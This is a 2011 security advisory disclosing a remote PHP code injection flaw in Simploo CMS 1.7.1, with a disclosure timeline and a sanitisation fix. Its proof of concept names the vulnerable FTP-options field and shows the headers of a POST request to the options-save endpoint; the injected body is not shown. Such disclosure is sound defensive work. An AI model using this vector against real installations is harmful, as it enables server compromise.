Simploo CMS 1.7.1 PHP Code Execution 2011-01-19 17:15:07

Simploo CMS Community Edition - Remote PHP Code Execution Issue

Product: Simploo CMS Community Edition
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.simploo.de/
Advisory-Status: published

Discovered by: David Vieira-Kurz of MajorSecurity

Affected Products:
Simploo CMS 1.7.1 and prior

"Simploo CMS is a content management system (CMS)."

More Details
I have discovered some vulnerabilities in Simploo CMS, which can be
exploited by malicious people to compromise a vulnerable system.
Input passed via the "FTP-Server" field when editing FTP options is not
properly sanitised in lib/Simploo/Config/Writer/Ini.php before being
saved to the config/custom/base.ini.php file. This can be exploited to
inject and execute arbitrary PHP code via a specially crafted parameter
value. Successful exploitation requires "write" privileges.

Proof of Concept
POST /simploo/index.php/sicore/updates/optionssave HTTP/1.1
Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de;
rv: Gecko/20100625 Firefox/3.6.6
Accept: application/json, text/javascript, */*
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Charset:
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest Referer:
Cookie: PHPSESSID=r87k31lhqmbp9707io8r6qr2p6;
Pragma: no-cache Cache-Control: no-cache Content-Length: 105


Edit the source code to ensure that input is properly sanitised.

2010-07-16, vulnerability identified
2010-07-17, vendor contacted and asked for pgp key
2010-07-19, vendor sent his pgp key
2010-07-20, vulnerability sent to vendor
2011-01-18, advisory published after 6 month

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